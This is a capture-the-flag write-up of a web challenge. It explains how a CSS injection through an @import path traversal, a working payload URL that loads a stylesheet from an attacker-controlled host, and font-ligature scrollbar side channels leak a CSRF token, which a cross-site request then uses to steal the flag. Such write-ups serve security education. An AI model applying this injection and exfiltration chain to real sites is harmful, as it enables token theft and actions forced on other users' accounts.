8.6 KiB
flag-sharer
Category: Web Points (final): 499 points Solves: 3 Provided file(s): flag-sharer.tar Provided host(s): https://flag-sharer.ml
Write-up
by Cameron
In this challenge, the goal was to gain access to a flag stored within the application. Additionally, a system was provided which would allow me to send a URL for an 'admin-bot' to visit, implying the solution to the challenge would require some sort of client-side. Examination of provided URL reveals the primary functionality of the site was to allow users to register and share flags to which they have access to other registered users. The mere creation of an account grants the user access to both the United States
and Tunisia
flags via the https://flag-sharer.ml/item?name=<FLAG_NAME>
endpoint. Attempting to access any flag which the authenticated user does not have access to yields an error message <FLAG_NAME> is not in your item list.
This endpoint returns no Content-Type
header and performs no filtering on the reflected input, making it a prime candidate for injection. Unfortunately, the server returns the content-security-policy: script-src 'none'; object-src 'none'
header in all responses it sends to the client, making it impossible to perform traditional XSS attacks. Examination of the https://flag-sharer.ml/gifts
page reveals that a CSRF token must be presented with the request to send a flag to a user, preventing common CSRF attacks against the admin user. Fuzzing of the form fields located on that same page revealed a URL parameter error
which echoes its contents into the DOM in the following manner:
<span class="error">An error occured: {{INJECTION}}</span>
<style>
@import '/static/{{INJECTION}}.css';
.error {
padding: 20px;
border-radius: 5px;
}
</style>
Unfortunately, the server filters the error
parameter against the regular expression /[&<>"'*\s]/
, banning characters which might allow us to escape the context of the <style>
block or even the URL argument to @import
. Fortunately, we might still leverage this injection to great effect. When browsers parse URLs prior to making requests, they resolve paths to eliminate instances of ./
or ../
, thus, by injecting a ../
, we can include a stylesheet located at any path on the server that we want. Leveraging the https://flag-sharer.ml/item?name=<FLAG_NAME>
endpoint, we can echo arbitrary content into the response body of any requests made to this endpoint. The lack of Content-Type
or X-Content-Type-Options: nosniff
headers ensures that the resulting page will be interpreted as CSS by the browser. By combining these two injection vectors, we may include arbitrary CSS content cross-domain from a host we control via the following injection:
https://flag-sharer.ml/gifts?error=../item%3fname=@import%2burl(%2522https://evil.risky.services/evil.css%2522);
When injected, this payload results in the following content in the DOM of the /gifts
page:
<style>
@import '/static/../item?name=@import+url(%22https://evil.risky.services/evil.css%22);.css';
.error {
padding: 20px;
border-radius: 5px;
}
</style>
The response body of the /item
page resolves to:
@import url("https://evil.risky.services/evil.css");.css is not in your item list.
Thus, through these two injection points, it is possible to include arbitrary CSS on the /gifts
page.
At this point in time, I was thinking that the solution to this challenge would be to perform the somewhat trivial form of CSS data exfiltration via [value="<PREFIX>"]
selectors on the relevant input elements. Imagine my dismay when I realized that the CSRF token which was my goal lie in a <textarea>
element. I eventually stumbled across a research publication from https://research.securitum.com/stealing-data-in-great-style-how-to-use-css-to-attack-web-application/ which described an attack that utilized dynamically generated fonts to control the appearance of a horizontal scrollbar and utilize that as a side-channel to exfiltrate data within text nodes within a web page. This attack worked by creating special fonts in which all single characters have a width of 0 while a specific ligature had a wide width. If the element in which the text appears is narrower than the width of the ligature, a horizontal scrollbar will appear. By setting the background of the scrollbar to an image hosted at a URL I control, I can observe requests made to my server and determine the content on the page. Unfortunately, there are were no publicly available tools implementing this kind of exploit, and all I could find on GitHub in the way of POCs were rather confusing or not applicable to my situation. Thus, I decided to implement the attack myself.
One hurdle I decided to get around at the start was that the CSRF token was regenerated upon each visit to the target page, so whatever attack I implemented must only make a single request to the /gitfs
page. I found an interesting solution from https://x-c3ll.github.io/posts/CSS-Injection-Primitives/#css-recursive-import involving recursive stylesheet imports. The idea behind this attack is to recursively import stylesheets containing the dynamically generated attack fonts, but block server-side until the attack server has received the leaked prefix for the current step and then return the next style. The server repeats this action until all characters are leaked. The browser attempts to fetch the style provided by the @import
directive, but if the request is taking too long it applies all subsequent style rules and retroactively applies the included stylesheet when the response finally arrives. Thus, by blocking the request on our attack server, we can have the browser apply a stylesheet while waiting on the next one in the chain.
A slight issue I had with the above strategy was due to the cascading nature of CSS. In particular, styles located further down in the stylesheet have precedence over styles located nearer the top. This proved to be an issue since my recursive includes were technically located above the payload for each step of the attack, and thus would not be retroactively applied. Fortunately, CSS has a concept of specificity such that more specific rules get applied with a higher precedence. Thus, by appending additional [name="csrf"]
selectors in the attack styles, I can arbitrarily increase the specificity (and thus precedence) of each stage of my attack, allowing the recursive includes to overwrite subsequent styles.
With these problems resolved, it is time to detail the actual attack. Using this methodology, each step of the attack determines an additional character in the prefix to the data I want to leak. In the case of the CSRF token in this challenge, the charset of the target data was may be described by /[0-9a-f]{32}/
or 16 hex-bytes. Thus, for each stage of the attack, I generate 16 different fonts such that all single characters have a width of 0, and the ligature composed of the previously known prefix concatenated with one of the characters in the above charset has an extremely wide width for every character in that charset. I then create an animation which sets both the font of the target element and the background image of its scrollbar to each possible value for every character in the charset. When applied, this animation will cycle over each of the 16 generated fonts, and one of them will cause the browser to issue a request to my attack server informing it of the next character in the prefix. Once this occurs, my attack server will generate the next set of attack fonts and stop blocking the request for the next stylesheet in the sequence. Thus, by using this method, I am able to exfiltrate the CSRF token from the target page.
Finally, in order to actually use the CSRF token to perform a CSRF attack, I create an html document on my server which includes the target page with the injection in an <iframe>
and a piece of JavaScript code which occasionally checks with my server to see if we have recovered the CSRF token yet. Once the CSRF token is fully extracted, the JavaScript submits a request to the /send
endpoint on the target site along with the CSRF token in order to share the challenge flag with an account I control. I deployed this html page to my site, instructed the admin-bot to visit it, and several seconds later had received the flag with my user on flag-sharer.ml
.
In order to make similar attacks easier in the future, we at BLAHAJ have utilized our mediocre software development skills to create a somewhat (read hopefully) extensible framework written in python. The full source of our exploit may be found at https://git.lain.faith/BLAHAJ/redpwn-flag-sharer.